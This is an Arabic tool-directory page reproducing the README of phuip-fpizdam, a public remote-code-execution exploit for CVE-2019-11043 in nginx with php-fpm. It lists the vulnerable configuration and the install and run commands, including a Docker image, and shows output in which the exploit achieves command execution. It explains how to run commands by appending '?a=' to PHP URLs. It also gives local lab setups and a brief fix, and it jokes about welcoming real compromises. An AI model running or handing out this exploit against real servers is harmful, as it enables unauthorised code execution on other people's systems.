Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
phuip-fpizdam — استغلال لـ CVE-2019-11043 | Kitploit
أدوات/GitHubGitHub/neex/phuip-fpizdam
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubneex/phuip-fpizdam

phuip-fpizdam

استغلال لـ CVE-2019-11043

عرض المستودع
1.8k249منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PHuiP-FPizdaM

ما هذا

هذا استغلال لثغرة برمجية في php-fpm (CVE-2019-11043). في بعض تهيئات nginx + php-fpm، يمكن تشغيل الثغرة من الخارج. هذا يعني أنه يمكن لمستخدم ويب الحصول على تنفيذ أكواد إذا كانت لديك تهيئة قابلة للاستغلال (انظر أدناه).

التحليل

وبينما كنا كسالى جدًا لكتابة تحليل، نشر Orange Tsai تحليلًا مثاليًا في مدونته. تحية له.

كما أن شرائحي من ZeroNights 2019 متاحة.

ما الذي يعتبر ثغرة

إذا كان خادم الويب يشغّل nginx + php-fpm وكان nginx لديه تهيئة مثل

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

وهو أيضًا يفتقر إلى أي فحوصات لوجود السكربت (مثل try_files)، فمن المحتمل أن تتمكن من اختراقه باستخدام هذا الاستغلال.

القائمة الكاملة للشروط المسبقة

  1. Nginx + php-fpm، يجب توجيه location ~ [^/]\.php(/|$) إلى php-fpm (ربما يمكن جعل التعبير النمطي أكثر صرامة، انظر #1).
  2. يجب أن يكون هناك تعيين لمتغير PATH_INFO عبر العبارة fastcgi_param PATH_INFO $fastcgi_path_info;. كما يجب تعيين SCRIPT_FILENAME باستخدام fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (قد يكون هناك مسار ثابت بدلاً من $document_root). في البداية، ظننا أن هذه موجودة دائمًا في ملف fastcgi_params، لكن هذا غير صحيح.
  3. يجب أن تكون هناك طريقة لتعيين PATH_INFO إلى قيمة فارغة. يفترض هذا الاستغلال أن توجيه fastcgi_split_path_info موجود ويحتوي على تعبير نمطي يبدأ بـ ^ وينتهي بـ $، لذلك يحاول كسر التعبير النمطي بحرف سطر جديد.
  4. يفترض هذا الاستغلال تحديدًا أن PATH_INFO يُعيَّن بعد في التهيئة.

أليست هذه الثغرة معروفة منذ سنوات؟

منذ زمن طويل، لم يكن php-fpm يقيد امتدادات السكربتات، مما يعني أن شيئًا مثل /avatar.png/some-fake-shit.php يمكنه تنفيذ avatar.png كسكربت PHP. تم إصلاح هذه المشكلة حوالي عام 2010.

الثغرة الحالية لا تتطلب رفع ملف، وتعمل في الإصدارات الأحدث (حتى وصول الإصلاح)، والأهم من ذلك، أن الاستغلال أكثر روعة.

كيفية التشغيل

قم بتثبيته باستخدام

root@kitploit:~
go get github.com/neex/phuip-fpizdam

إذا واجهت أخطاء ترجمة غريبة، تأكد من استخدامك go >= 1.13. شغّل البرنامج باستخدام phuip-fpizdam [url] (بافتراض أن لديك $GOPATH/bin داخل $PATH، وإلا فحدد المسار الكامل للملف التنفيذي). يبدو الناتج الجيد هكذا:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

بعد ذلك، يمكنك البدء بإلحاق ?a=<your command> بجميع سكربتات PHP (قد تحتاج إلى عدة محاولات).

بدلاً من ذلك، يمكنك استخدام صورة docker لتشغيل الاستغلال:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

بيئات الاختبار

استخدام Docker

إذا كنت تريد إعادة إنتاج المشكلة أو التجربة بالاستغلال محليًا عبر Docker، فافعل ما يلي:

  1. استنسخ هذا المستودع وانتقل إلى مجلد reproducer.
  2. أنشئ صورة docker باستخدام docker build -t reproduce-cve-2019-11043 .. يستغرق ذلك وقتًا طويلاً لأنه يستنسخ مستودع php داخليًا ويبنيه من المصدر. ومع ذلك، سيكون الأمر أسهل بهذه الطريقة إذا كنت تريد تصحيح أخطاء الاستغلال. المراجعة المبنية هي تلك التي تسبق الإصلاح مباشرة.
  3. شغّل docker باستخدام docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. الآن لديك http://127.0.0.1:8080/script.php، وهو ملف فارغ.
  5. شغّل الاستغلال باستخدام phuip-fpizdam http://127.0.0.1:8080/script.php
  6. إذا كان كل شيء على ما يرام، فستتمكن من تنفيذ الأوامر بإلحاق ?a= بالسكربت: http://127.0.0.1:8080/script.php?a=id. حاول عدة مرات لأن بعض عمال php-fpm فقط مصابون.

استخدام حاويات النظام LXD

إذا كنت تريد إعادة إنتاج المشكلة أو التجربة بالاستغلال محليًا عبر LXD، فافعل ما يلي:

  1. أنشئ حاويتي نظام، vulnerable وattacker. يمكنك استخدام صورة الحاوية ubuntu:18.04 لكلتا الحاويتين.
  2. في حاوية vulnerable، ثبّت nginx وphp-fpm. هيئ كتلة الخادم كما في هذه التهيئة. أنشئ ملفًا فارغًا /var/www/html/index.php.
  3. في حاوية attacker، ثبّت لغة Go (sudo snap install go --classic)، واستنسخ هذا المستودع، وشغّل go build في مجلد المستودع.
  4. شغّل الهجوم كما يلي: ./phuip-fpizdam http://vulnerable.lxd/index.php. حاول عدة مرات من أجل إصابة جميع عمال php-fpm.

لمزيد من التعليمات التفصيلية، راجع اختبار CVE-2019-11043 (ثغرة php-fpm الأمنية) مع حاويات النظام LXD.

حول PHP5

يوجد تجاوز سعة التخزين السفلي (buffer underflow) في php-fpm في إصدار PHP 5. ومع ذلك، يستخدم هذا الاستغلال تحسينًا يُستخدم لتخزين متغيرات FastCGI، وهو _fcgi_data_seg. هذا التحسين موجود فقط في php 7، لذا يعمل هذا الاستغلال تحديدًا مع php 7 فقط. قد تكون هناك تقنية استغلال أخرى تعمل مع php 5.

الاعتمادات

اكتشف d90pwn الشذوذ الأصلي خلال Real World CTF. السبب الجذري وجدته أنا (Emil Lerner) وكذلك طريقة تعيين خيارات php.ini. مجموعة خيارات php.ini النهائية وجدها beched.

الترخيص

يُوزَّع هذا الاستغلال بموجب شروط رخصة MIT.

امتنع عن إحداث أي ضرر باستخدام هذا الاستغلال. ولكن إذا اخترقت شيئًا ما بهذا الشيء فعلًا، فسأكون سعيدًا.

تنزيل الأداة
REQUEST_URI
  • لا توجد فحوصات لوجود الملف مثل try_files $uri =404 أو if (-f $uri). إذا كان Nginx يسقط الطلبات إلى السكربتات غير الموجودة قبل توجيه FastCGI، فلن تصل طلباتنا إلى php-fpm أبدًا. إضافة هذا هو أيضًا أسهل طريقة للإصلاح.
  • يعمل هذا الاستغلال فقط مع PHP 7+، لكن الثغرة نفسها موجودة في الإصدارات الأقدم (انظر أدناه).